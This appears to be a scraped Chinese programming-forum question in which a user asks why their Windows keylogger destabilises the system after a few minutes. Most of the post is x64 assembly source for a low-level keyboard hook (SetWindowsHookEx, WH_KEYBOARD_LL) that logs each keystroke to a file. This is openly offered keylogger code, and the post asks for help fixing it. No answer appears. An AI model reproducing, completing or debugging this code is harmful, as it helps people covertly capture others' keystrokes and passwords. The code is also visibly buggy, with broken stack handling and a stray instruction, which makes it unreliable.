热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

为什么我创建的键盘记录程序不起作用

我制作了一个使用SetWindowsHookExAPI的Windows键盘记录程序。我的键盘记录程序在运

我制作了一个使用SetWindowsHookEx API的Windows键盘记录程序。我的键盘记录程序在运行的第一分钟运行良好,但是5分钟后,win-64 OS开始无法正常工作。这是我的消息来源:

start:
invoke SetWindowsHookEx,WH_KEYBOARD_LL,LowLevelKeyboardProc,0
mov [hhook],rax
messageproc:
invoke GetMessage,msg,NULL,0
cmp rax,TRUE
jz processmsg
invoke UnhookWindowsHookEx,[hhook]
invoke ExitProcess,0
processmsg:
invoke TranslateMessage,msg
invoke DispatchMessage,msg
jmp messageproc
proc LowLevelKeyboardProc
ss
cmp rcx,00h
jae processhook
return:
mov rcx,0
call [CallNextHookEx]
sub rsp,8
retn
processhook:
cmp rdx,WM_KEYDOWN
jnz return2
mov rbx,r8
mov rbx,qword [rbx+4h]
mov [buffer],bl
invoke fopen,filename,filemode
mov [fp],rax
invoke fwrite,buffer,1,[fp]
invoke fclose,[fp]
return2:
ret
endp





推荐阅读
author-avatar
kiki百乐门_867
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有